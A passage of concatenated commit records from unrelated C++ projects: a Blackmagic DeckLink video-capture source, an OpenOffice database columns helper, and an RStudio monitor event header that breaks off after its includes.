std::vector<BMDDisplayMode> display_modes =
{
bmdModeHD1080p6000, bmdModeHD1080p5994,
bmdModeHD1080p50,
bmdModeHD1080p30, bmdModeHD1080p2997,
bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,
bmdModeHD1080i6000, bmdModeHD1080i5994,
bmdModeHD1080i50,
bmdModeHD720p60, bmdModeHD720p5994,
bmdModeHD720p50,
bmdMode4K2160p60, bmdMode4K2160p5994,
bmdMode4K2160p50,
bmdMode4K2160p30, bmdMode4K2160p2997,
bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,
bmdMode2k25, bmdMode2k24, bmdMode2k2398,
};
DeckLinkDisplayModeDetector detector(
_deck_link_input,
display_modes, pixel_format, video_input_flags
);
BMDDisplayMode display_mode_ = detector.get_display_mode();
if (display_mode_ != bmdModeUnknown)
{
frame_rate = detector.get_frame_rate();
display_mode = display_mode_;
video_input_flags = detector.get_video_input_flags();
return true;
}
else
{
error_msg = detector.get_error_msg();
return false;
}
}
}
<commit_msg>Issue #30: releasing post-capture conversion buffers upon destruction<commit_after>#include "blackmagicsdk_video_source.h"
#include "deck_link_display_mode_detector.h"
#include <chrono>
namespace gg
{
VideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()
: IVideoSource()
, _frame_rate(0.0)
, _video_buffer(nullptr)
, _video_buffer_length(0)
, _cols(0)
, _rows(0)
, _buffer_video_frame(VideoFrame(UYVY))
, _running(false)
{
// nop
}
VideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,
ColourSpace colour)
: IVideoSource(colour)
, _frame_rate(0.0)
, _video_buffer(nullptr)
, _video_buffer_length(0)
, _cols(0)
, _rows(0)
, _buffer_video_frame(VideoFrame(colour, false)) // TODO manage data?
, _deck_link(nullptr)
, _deck_link_input(nullptr)
, _video_input_flags(bmdVideoInputFlagDefault | bmdVideoInputDualStream3D)
, _12_bit_rgb_to_bgra_converter(nullptr)
, _bgra_frame_buffers({nullptr, nullptr})
, _running(false)
{
// Pixel format, i.e. colour space
BMDPixelFormat pixel_format;
switch(_colour)
{
case UYVY:
pixel_format = bmdFormat8BitYUV;
break;
case BGRA:
pixel_format = bmdFormat8BitBGRA;
break;
case I420:
default:
bail("BlackmagicSDK video source supports only UYVY and BGRA colour spaces");
}
// Get an iterator through the available DeckLink ports
IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();
if (deck_link_iterator == nullptr)
bail("DeckLink drivers do not appear to be installed");
HRESULT res;
// Get the desired DeckLink index (port)
int idx = deck_link_index;
while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)
{
if (idx == 0)
break;
--idx;
_deck_link->Release();
}
if (deck_link_iterator != nullptr)
deck_link_iterator->Release();
// No glory: release everything and throw exception
if (res != S_OK or _deck_link == nullptr)
bail(
std::string("Could not get DeckLink device ").append(std::to_string(deck_link_index))
);
// Get the input interface of connected DeckLink port
res = _deck_link->QueryInterface(IID_IDeckLinkInput, reinterpret_cast<void **>(&_deck_link_input));
// No glory: release everything and throw exception
if (res != S_OK)
bail("Could not get the Blackmagic DeckLink input interface");
// Set the input format (i.e. display mode)
BMDDisplayMode display_mode;
std::string error_msg = "";
if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))
{
_video_input_flags ^= bmdVideoInputDualStream3D;
if (not detect_input_format(pixel_format, _video_input_flags, display_mode, _frame_rate, error_msg))
bail(error_msg);
}
// Set this object (IDeckLinkInputCallback instance) as callback
res = _deck_link_input->SetCallback(this);
// No glory: release everything and throw exception
if (res != S_OK)
bail("Could not set the callback of Blackmagic DeckLink device");
// Enable video input
res = _deck_link_input->EnableVideoInput(display_mode,
pixel_format,
_video_input_flags);
// No glory
if (res != S_OK)
bail("Could not enable video input of Blackmagic DeckLink device");
// Colour converter for post-capture colour conversion
if (_colour == BGRA)
{
_12_bit_rgb_to_bgra_converter = CreateVideoConversionInstance();
if (_12_bit_rgb_to_bgra_converter == nullptr)
bail("Could not create colour converter for Blackmagic source");
}
// Start streaming
_running = true;
res = _deck_link_input->StartStreams();
// No glory: release everything and throw exception
if (res != S_OK)
{
_running = false;
bail("Could not start streaming from the Blackmagic DeckLink device");
}
}
VideoSourceBlackmagicSDK::~VideoSourceBlackmagicSDK()
{
{ // Artificial scope for data lock
// Make sure streamer thread not trying to access buffer
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
_running = false;
}
// Stop streaming and disable enabled inputs
_deck_link_input->SetCallback(nullptr);
_deck_link_input->StopStreams();
_deck_link_input->DisableVideoInput();
// Release DeckLink members
release_deck_link();
}
bool VideoSourceBlackmagicSDK::get_frame_dimensions(int & width, int & height)
{
// Make sure only this thread is accessing the cols and rows members now
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
if (_cols <= 0 or _rows <= 0)
return false;
width = _cols;
height = _rows;
return true;
}
bool VideoSourceBlackmagicSDK::get_frame(VideoFrame & frame)
{
if (frame.colour() != _colour)
return false;
// Make sure only this thread is accessing the video frame data now
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
if (_video_buffer_length > 0 and _cols > 0 and _rows > 0)
{
frame.init_from_specs(_video_buffer, _video_buffer_length, _cols, _rows);
return true;
}
else
return false;
}
double VideoSourceBlackmagicSDK::get_frame_rate()
{
return _frame_rate;
}
void VideoSourceBlackmagicSDK::set_sub_frame(int x, int y, int width, int height)
{
// issue #147
throw VideoSourceError("Blackmagic does not support cropping yet");
}
void VideoSourceBlackmagicSDK::get_full_frame()
{
// nop: set_sub_frame currently not implemented
}
HRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::QueryInterface(REFIID iid, LPVOID * ppv)
{
return E_NOINTERFACE;
}
ULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::AddRef(void)
{
__sync_add_and_fetch(&_n_ref, 1);
return _n_ref;
}
ULONG STDMETHODCALLTYPE VideoSourceBlackmagicSDK::Release(void)
{
__sync_sub_and_fetch(&_n_ref, 1);
return _n_ref;
}
HRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFormatChanged(
BMDVideoInputFormatChangedEvents events,
IDeckLinkDisplayMode * display_mode,
BMDDetectedVideoInputFormatFlags format_flags
)
{
// not supported yet: see issue #149
return S_OK;
}
HRESULT STDMETHODCALLTYPE VideoSourceBlackmagicSDK::VideoInputFrameArrived(
IDeckLinkVideoInputFrame * video_frame,
IDeckLinkAudioInputPacket * audio_packet
)
{
if (not _running)
// nop if not running!
return S_OK;
// Not processing the audio packet, but only the video
// frame for the time being
if (video_frame == nullptr)
// nop if no data
return S_OK;
// Nr. of bytes of received data
size_t n_bytes = video_frame->GetRowBytes() * video_frame->GetHeight();
if (is_stereo())
n_bytes *= 2;
{ // Artificial scope for data lock
// Make sure only this thread is accessing the buffer now
std::lock_guard<std::mutex> data_lock_guard(_data_lock);
// Extend buffer if more memory needed than already allocated
if (n_bytes > _video_buffer_length)
_video_buffer = reinterpret_cast<uint8_t *>(
realloc(_video_buffer, n_bytes * sizeof(uint8_t))
);
if (_video_buffer == nullptr) // something's terribly wrong!
// nop if something's terribly wrong!
return S_OK;
// Get the new data into the buffer
HRESULT res = video_frame->GetBytes(
reinterpret_cast<void **>(&_video_buffer)
);
// If data could not be read into the buffer, return
if (FAILED(res))
return res;
if (is_stereo())
{
IDeckLinkVideoFrame *right_eye_frame = nullptr;
IDeckLinkVideoFrame3DExtensions *three_d_extensions = nullptr;
if ((video_frame->QueryInterface(
IID_IDeckLinkVideoFrame3DExtensions,
(void **) &three_d_extensions) != S_OK) ||
(three_d_extensions->GetFrameForRightEye(
&right_eye_frame) != S_OK))
{
right_eye_frame = nullptr;
}
if (three_d_extensions != nullptr)
three_d_extensions->Release();
if (right_eye_frame != nullptr)
{
res = right_eye_frame->GetBytes(
reinterpret_cast<void **>(&_video_buffer[n_bytes / 2])
);
right_eye_frame->Release();
// If data could not be read into the buffer, return
if (FAILED(res))
return res;
}
}
// Set video frame specs according to new data
_video_buffer_length = n_bytes;
_cols = video_frame->GetWidth();
_rows = video_frame->GetHeight();
// Propagate new video frame to observers
_buffer_video_frame.init_from_specs(
_video_buffer, _video_buffer_length, _cols, _rows,
is_stereo() ? 2 : 1
);
}
this->notify(_buffer_video_frame);
// Everything went fine, return success
return S_OK;
}
void VideoSourceBlackmagicSDK::release_deck_link() noexcept
{
if (_deck_link_input != nullptr)
{
_deck_link_input->Release();
_deck_link_input = nullptr;
}
if (_deck_link != nullptr)
_deck_link->Release();
if (_12_bit_rgb_to_bgra_converter != nullptr)
{
_12_bit_rgb_to_bgra_converter->Release();
_12_bit_rgb_to_bgra_converter = nullptr;
}
for (size_t i = 0; i < 2; i++)
if (_bgra_frame_buffers[i] != nullptr)
{
_bgra_frame_buffers[i]->Release();
_bgra_frame_buffers[i] = nullptr;
}
}
bool VideoSourceBlackmagicSDK::detect_input_format(BMDPixelFormat pixel_format,
BMDVideoInputFlags & video_input_flags,
BMDDisplayMode & display_mode,
double & frame_rate,
std::string & error_msg) noexcept
{
std::vector<BMDDisplayMode> display_modes =
{
bmdModeHD1080p6000, bmdModeHD1080p5994,
bmdModeHD1080p50,
bmdModeHD1080p30, bmdModeHD1080p2997,
bmdModeHD1080p25, bmdModeHD1080p24, bmdModeHD1080p2398,
bmdModeHD1080i6000, bmdModeHD1080i5994,
bmdModeHD1080i50,
bmdModeHD720p60, bmdModeHD720p5994,
bmdModeHD720p50,
bmdMode4K2160p60, bmdMode4K2160p5994,
bmdMode4K2160p50,
bmdMode4K2160p30, bmdMode4K2160p2997,
bmdMode4K2160p25, bmdMode4K2160p24, bmdMode4K2160p2398,
bmdMode2k25, bmdMode2k24, bmdMode2k2398,
};
DeckLinkDisplayModeDetector detector(
_deck_link_input,
display_modes, pixel_format, video_input_flags
);
BMDDisplayMode display_mode_ = detector.get_display_mode();
if (display_mode_ != bmdModeUnknown)
{
frame_rate = detector.get_frame_rate();
display_mode = display_mode_;
video_input_flags = detector.get_video_input_flags();
return true;
}
else
{
error_msg = detector.get_error_msg();
return false;
}
}
}
<|endoftext|>
|
<commit_before>/*************************************************************************
*
* $RCSfile: TColumnsHelper.cxx,v $
*
* $Revision: 1.4 $
*
* last change: $Author: vg $ $Date: 2005-03-10 15:17:02 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef CONNECTIVITY_COLUMNSHELPER_HXX
#include "connectivity/TColumnsHelper.hxx"
#endif
#ifndef _CONNECTIVITY_SDBCX_COLUMN_HXX_
#include "connectivity/sdbcx/VColumn.hxx"
#endif
#ifndef _CONNECTIVITY_SDBCX_COLUMN_HXX_
#include "connectivity/sdbcx/VColumn.hxx"
#endif
#ifndef _COM_SUN_STAR_SDBC_XROW_HPP_
#include <com/sun/star/sdbc/XRow.hpp>
#endif
#ifndef _COM_SUN_STAR_SDBC_XRESULTSET_HPP_
#include <com/sun/star/sdbc/XResultSet.hpp>
#endif
#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_
#include <com/sun/star/sdbc/DataType.hpp>
#endif
#ifndef _COM_SUN_STAR_SDBC_COLUMNVALUE_HPP_
#include <com/sun/star/sdbc/ColumnValue.hpp>
#endif
#ifndef _COMPHELPER_TYPES_HXX_
#include <comphelper/types.hxx>
#endif
#ifndef _CONNECTIVITY_DBTOOLS_HXX_
#include "connectivity/dbtools.hxx"
#endif
#ifndef CONNECTIVITY_CONNECTION_HXX
#include "TConnection.hxx"
#endif
#ifndef CONNECTIVITY_TABLEHELPER_HXX
#include "connectivity/TTableHelper.hxx"
#endif
#ifndef _COMPHELPER_PROPERTY_HXX_
#include <comphelper/property.hxx>
#endif
using namespace ::comphelper;
using namespace connectivity::sdbcx;
using namespace connectivity;
using namespace dbtools;
using namespace ::com::sun::star::uno;
using namespace ::com::sun::star::beans;
// using namespace ::com::sun::star::sdbcx;
using namespace ::com::sun::star::sdbc;
using namespace ::com::sun::star::container;
using namespace ::com::sun::star::lang;
typedef connectivity::sdbcx::OCollection OCollection_TYPE;
namespace connectivity
{
class OColumnsHelperImpl
{
public:
OColumnsHelperImpl(sal_Bool _bCase)
: m_aColumnInfo(_bCase)
{
}
ColumnInformationMap m_aColumnInfo;
};
}
OColumnsHelper::OColumnsHelper( ::cppu::OWeakObject& _rParent
,sal_Bool _bCase
,::osl::Mutex& _rMutex
,const TStringVector &_rVector
,sal_Bool _bUseHardRef
) : OCollection(_rParent,_bCase,_rMutex,_rVector,sal_False,_bUseHardRef)
,m_pTable(NULL)
,m_pImpl(NULL)
{
}
// -----------------------------------------------------------------------------
OColumnsHelper::~OColumnsHelper()
{
delete m_pImpl;
m_pImpl = NULL;
}
// -----------------------------------------------------------------------------
sdbcx::ObjectType OColumnsHelper::createObject(const ::rtl::OUString& _rName)
{
OSL_ENSURE(m_pTable,"NO Table set. Error!");
Reference<XConnection> xConnection = m_pTable->getConnection();
if ( !m_pImpl )
m_pImpl = new OColumnsHelperImpl(isCaseSensitive());
sal_Bool bQueryInfo = sal_True;
sal_Bool bAutoIncrement = sal_False;
sal_Bool bIsCurrency = sal_False;
sal_Int32 nDataType = DataType::OTHER;
ColumnInformationMap::iterator aFind = m_pImpl->m_aColumnInfo.find(_rName);
if ( aFind == m_pImpl->m_aColumnInfo.end() ) // we have to fill it
{
Reference<XDatabaseMetaData> xMetaData = xConnection->getMetaData();
sal_Bool bUseCatalogInSelect = isDataSourcePropertyEnabled(xConnection,::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("UseCatalogInSelect")),sal_True);
sal_Bool bUseSchemaInSelect = isDataSourcePropertyEnabled(xConnection,::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("UseSchemaInSelect")),sal_True);
::rtl::OUString sComposedName = ::dbtools::composeTableName(xMetaData,m_pTable,sal_True,::dbtools::eInDataManipulation,bUseCatalogInSelect,bUseSchemaInSelect);
collectColumnInformation(xConnection,sComposedName,::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("*")) ,m_pImpl->m_aColumnInfo);
aFind = m_pImpl->m_aColumnInfo.find(_rName);
}
if ( aFind != m_pImpl->m_aColumnInfo.end() )
{
bQueryInfo = sal_False;
bAutoIncrement = aFind->second.first.first;
bIsCurrency = aFind->second.first.second;
nDataType = aFind->second.second;
}
sdbcx::ObjectType xRet(::dbtools::createSDBCXColumn( m_pTable,
xConnection,
_rName,
isCaseSensitive(),
bQueryInfo,
bAutoIncrement,
bIsCurrency,
nDataType),UNO_QUERY);
return xRet;
}
// -------------------------------------------------------------------------
void OColumnsHelper::impl_refresh() throw(RuntimeException)
{
if ( m_pTable )
m_pTable->refreshColumns();
}
// -------------------------------------------------------------------------
Reference< XPropertySet > OColumnsHelper::createEmptyObject()
{
return new OColumn(sal_True);
}
// -----------------------------------------------------------------------------
sdbcx::ObjectType OColumnsHelper::cloneObject(const Reference< XPropertySet >& _xDescriptor)
{
Reference<XPropertySet> xProp = createEmptyObject();
::comphelper::copyProperties(_xDescriptor,xProp);
return xProp;
}
// -----------------------------------------------------------------------------
// XAppend
void OColumnsHelper::appendObject( const Reference< XPropertySet >& descriptor )
{
::osl::MutexGuard aGuard(m_rMutex);
OSL_ENSURE(m_pTable,"OColumnsHelper::appendByDescriptor: Table is null!");
OSL_ENSURE(descriptor.is(),"OColumnsHelper::appendByDescriptor: descriptor is null!");
if ( descriptor.is() && m_pTable && !m_pTable->isNew() )
{
Reference<XDatabaseMetaData> xMetaData = m_pTable->getConnection()->getMetaData();
::rtl::OUString aSql = ::rtl::OUString::createFromAscii("ALTER TABLE ");
::rtl::OUString aQuote = xMetaData->getIdentifierQuoteString( );
aSql += ::dbtools::composeTableName(xMetaData,m_pTable,sal_True,::dbtools::eInTableDefinitions);
aSql += ::rtl::OUString::createFromAscii(" ADD ");
aSql += ::dbtools::createStandardColumnPart(descriptor,m_pTable->getConnection());
Reference< XStatement > xStmt = m_pTable->getConnection()->createStatement( );
if ( xStmt.is() )
{
xStmt->execute(aSql);
::comphelper::disposeComponent(xStmt);
}
}
}
// -------------------------------------------------------------------------
// XDrop
void OColumnsHelper::dropObject(sal_Int32 _nPos,const ::rtl::OUString _sElementName)
{
OSL_ENSURE(m_pTable,"OColumnsHelper::dropByName: Table is null!");
if ( m_pTable && !m_pTable->isNew() )
{
::rtl::OUString aSql = ::rtl::OUString::createFromAscii("ALTER TABLE ");
Reference<XDatabaseMetaData> xMetaData = m_pTable->getConnection()->getMetaData();
::rtl::OUString aQuote = xMetaData->getIdentifierQuoteString( );
aSql += ::dbtools::composeTableName(xMetaData,m_pTable,sal_True,::dbtools::eInTableDefinitions);
aSql += ::rtl::OUString::createFromAscii(" DROP ");
aSql += ::dbtools::quoteName( aQuote,_sElementName);
Reference< XStatement > xStmt = m_pTable->getConnection()->createStatement( );
if ( xStmt.is() )
{
xStmt->execute(aSql);
::comphelper::disposeComponent(xStmt);
}
}
}
// -----------------------------------------------------------------------------
<commit_msg>INTEGRATION: CWS dba20blocker (1.4.50); FILE MERGED 2005/07/05 13:54:24 fs 1.4.50.1: copying fix for #i48480# into this CWS<commit_after>/*************************************************************************
*
* $RCSfile: TColumnsHelper.cxx,v $
*
* $Revision: 1.5 $
*
* last change: $Author: obo $ $Date: 2005-07-08 10:25:44 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef CONNECTIVITY_COLUMNSHELPER_HXX
#include "connectivity/TColumnsHelper.hxx"
#endif
#ifndef _CONNECTIVITY_SDBCX_COLUMN_HXX_
#include "connectivity/sdbcx/VColumn.hxx"
#endif
#ifndef _CONNECTIVITY_SDBCX_COLUMN_HXX_
#include "connectivity/sdbcx/VColumn.hxx"
#endif
#ifndef _COM_SUN_STAR_SDBC_XROW_HPP_
#include <com/sun/star/sdbc/XRow.hpp>
#endif
#ifndef _COM_SUN_STAR_SDBC_XRESULTSET_HPP_
#include <com/sun/star/sdbc/XResultSet.hpp>
#endif
#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_
#include <com/sun/star/sdbc/DataType.hpp>
#endif
#ifndef _COM_SUN_STAR_SDBC_COLUMNVALUE_HPP_
#include <com/sun/star/sdbc/ColumnValue.hpp>
#endif
#ifndef _COMPHELPER_TYPES_HXX_
#include <comphelper/types.hxx>
#endif
#ifndef _CONNECTIVITY_DBTOOLS_HXX_
#include "connectivity/dbtools.hxx"
#endif
#ifndef CONNECTIVITY_CONNECTION_HXX
#include "TConnection.hxx"
#endif
#ifndef CONNECTIVITY_TABLEHELPER_HXX
#include "connectivity/TTableHelper.hxx"
#endif
#ifndef _COMPHELPER_PROPERTY_HXX_
#include <comphelper/property.hxx>
#endif
using namespace ::comphelper;
using namespace connectivity::sdbcx;
using namespace connectivity;
using namespace dbtools;
using namespace ::com::sun::star::uno;
using namespace ::com::sun::star::beans;
// using namespace ::com::sun::star::sdbcx;
using namespace ::com::sun::star::sdbc;
using namespace ::com::sun::star::container;
using namespace ::com::sun::star::lang;
typedef connectivity::sdbcx::OCollection OCollection_TYPE;
namespace connectivity
{
class OColumnsHelperImpl
{
public:
OColumnsHelperImpl(sal_Bool _bCase)
: m_aColumnInfo(_bCase)
{
}
ColumnInformationMap m_aColumnInfo;
};
}
OColumnsHelper::OColumnsHelper( ::cppu::OWeakObject& _rParent
,sal_Bool _bCase
,::osl::Mutex& _rMutex
,const TStringVector &_rVector
,sal_Bool _bUseHardRef
) : OCollection(_rParent,_bCase,_rMutex,_rVector,sal_False,_bUseHardRef)
,m_pTable(NULL)
,m_pImpl(NULL)
{
}
// -----------------------------------------------------------------------------
OColumnsHelper::~OColumnsHelper()
{
delete m_pImpl;
m_pImpl = NULL;
}
// -----------------------------------------------------------------------------
sdbcx::ObjectType OColumnsHelper::createObject(const ::rtl::OUString& _rName)
{
OSL_ENSURE(m_pTable,"NO Table set. Error!");
Reference<XConnection> xConnection = m_pTable->getConnection();
if ( !m_pImpl )
m_pImpl = new OColumnsHelperImpl(isCaseSensitive());
sal_Bool bQueryInfo = sal_True;
sal_Bool bAutoIncrement = sal_False;
sal_Bool bIsCurrency = sal_False;
sal_Int32 nDataType = DataType::OTHER;
ColumnInformationMap::iterator aFind = m_pImpl->m_aColumnInfo.find(_rName);
if ( aFind == m_pImpl->m_aColumnInfo.end() ) // we have to fill it
{
Reference<XDatabaseMetaData> xMetaData = xConnection->getMetaData();
sal_Bool bUseCatalogInSelect = isDataSourcePropertyEnabled(xConnection,::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("UseCatalogInSelect")),sal_True);
sal_Bool bUseSchemaInSelect = isDataSourcePropertyEnabled(xConnection,::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("UseSchemaInSelect")),sal_True);
::rtl::OUString sComposedName = ::dbtools::composeTableName(xMetaData,m_pTable,sal_True,::dbtools::eInDataManipulation,bUseCatalogInSelect,bUseSchemaInSelect);
collectColumnInformation(xConnection,sComposedName,::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM("*")) ,m_pImpl->m_aColumnInfo);
aFind = m_pImpl->m_aColumnInfo.find(_rName);
}
if ( aFind != m_pImpl->m_aColumnInfo.end() )
{
bQueryInfo = sal_False;
bAutoIncrement = aFind->second.first.first;
bIsCurrency = aFind->second.first.second;
nDataType = aFind->second.second;
}
sdbcx::ObjectType xRet(::dbtools::createSDBCXColumn( m_pTable,
xConnection,
_rName,
isCaseSensitive(),
bQueryInfo,
bAutoIncrement,
bIsCurrency,
nDataType),UNO_QUERY);
return xRet;
}
// -------------------------------------------------------------------------
void OColumnsHelper::impl_refresh() throw(RuntimeException)
{
if ( m_pTable )
{
m_pImpl->m_aColumnInfo.clear();
m_pTable->refreshColumns();
}
}
// -------------------------------------------------------------------------
Reference< XPropertySet > OColumnsHelper::createEmptyObject()
{
return new OColumn(sal_True);
}
// -----------------------------------------------------------------------------
sdbcx::ObjectType OColumnsHelper::cloneObject(const Reference< XPropertySet >& _xDescriptor)
{
Reference<XPropertySet> xProp = createEmptyObject();
::comphelper::copyProperties(_xDescriptor,xProp);
return xProp;
}
// -----------------------------------------------------------------------------
// XAppend
void OColumnsHelper::appendObject( const Reference< XPropertySet >& descriptor )
{
::osl::MutexGuard aGuard(m_rMutex);
OSL_ENSURE(m_pTable,"OColumnsHelper::appendByDescriptor: Table is null!");
OSL_ENSURE(descriptor.is(),"OColumnsHelper::appendByDescriptor: descriptor is null!");
if ( descriptor.is() && m_pTable && !m_pTable->isNew() )
{
Reference<XDatabaseMetaData> xMetaData = m_pTable->getConnection()->getMetaData();
::rtl::OUString aSql = ::rtl::OUString::createFromAscii("ALTER TABLE ");
::rtl::OUString aQuote = xMetaData->getIdentifierQuoteString( );
aSql += ::dbtools::composeTableName(xMetaData,m_pTable,sal_True,::dbtools::eInTableDefinitions);
aSql += ::rtl::OUString::createFromAscii(" ADD ");
aSql += ::dbtools::createStandardColumnPart(descriptor,m_pTable->getConnection());
Reference< XStatement > xStmt = m_pTable->getConnection()->createStatement( );
if ( xStmt.is() )
{
xStmt->execute(aSql);
::comphelper::disposeComponent(xStmt);
}
}
}
// -------------------------------------------------------------------------
// XDrop
void OColumnsHelper::dropObject(sal_Int32 _nPos,const ::rtl::OUString _sElementName)
{
OSL_ENSURE(m_pTable,"OColumnsHelper::dropByName: Table is null!");
if ( m_pTable && !m_pTable->isNew() )
{
::rtl::OUString aSql = ::rtl::OUString::createFromAscii("ALTER TABLE ");
Reference<XDatabaseMetaData> xMetaData = m_pTable->getConnection()->getMetaData();
::rtl::OUString aQuote = xMetaData->getIdentifierQuoteString( );
aSql += ::dbtools::composeTableName(xMetaData,m_pTable,sal_True,::dbtools::eInTableDefinitions);
aSql += ::rtl::OUString::createFromAscii(" DROP ");
aSql += ::dbtools::quoteName( aQuote,_sElementName);
Reference< XStatement > xStmt = m_pTable->getConnection()->createStatement( );
if ( xStmt.is() )
{
xStmt->execute(aSql);
::comphelper::disposeComponent(xStmt);
}
}
}
// -----------------------------------------------------------------------------
<|endoftext|>
|
<commit_before>/*
* Event.hpp
*
* Copyright (C) 2009-12 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#ifndef MONITOR_EVENTS_EVENT_HPP
#define MONITOR_EVENTS_EVENT_HPP
#include <iosfwd>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <core/system/System.hpp>
namespace monitor {
enum EventScope
{
kAuthScope = 0,
kSessionScope = 1
};
#define kAuthLoginEvent 1001
#define kAuthLogoutEvent 1002
#define kSessionStartEvent 2001
#define kSessionSuicideEvent 2002
#define kSessionSuspendEvent 2003
#define kSessionQuitEvent 2004
#define kSessionExitEvent 2005
class Event
{
public:
Event(EventScope scope,
int id,
const std::string& data = std::string(),
const std::string& username = core::system::username(),
PidType pid = core::system::currentProcessId(),
boost::posix_time::ptime timestamp =
boost::posix_time::microsec_clock::universal_time())
: scope_(scope),
id_(id),
username_(username),
pid_(pid),
timestamp_(timestamp),
data_(data)
{
}
public:
EventScope scope() const { return scope_; }
int id() const { return id_; }
const std::string& username() const { return username_; }
PidType pid() const { return pid_; }
boost::posix_time::ptime timestamp() const { return timestamp_; }
const std::string& data() const { return data_; }
private:
EventScope scope_;
int id_;
std::string username_;
PidType pid_;
boost::posix_time::ptime timestamp_;
std::string data_;
};
std::ostream& operator<<(std::ostream& ostr, const Event& event);
} // namespace monitor
#endif // MONITOR_EVENTS_EVENT_HPP
<commit_msg>allow for empty monitor events<commit_after>/*
* Event.hpp
*
* Copyright (C) 2009-12 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#ifndef MONITOR_EVENTS_EVENT_HPP
#define MONITOR_EVENTS_EVENT_HPP
#include <iosfwd>
#include <boost/date_time/posix_time/posix_time.hpp>
#include <core/system/System.hpp>
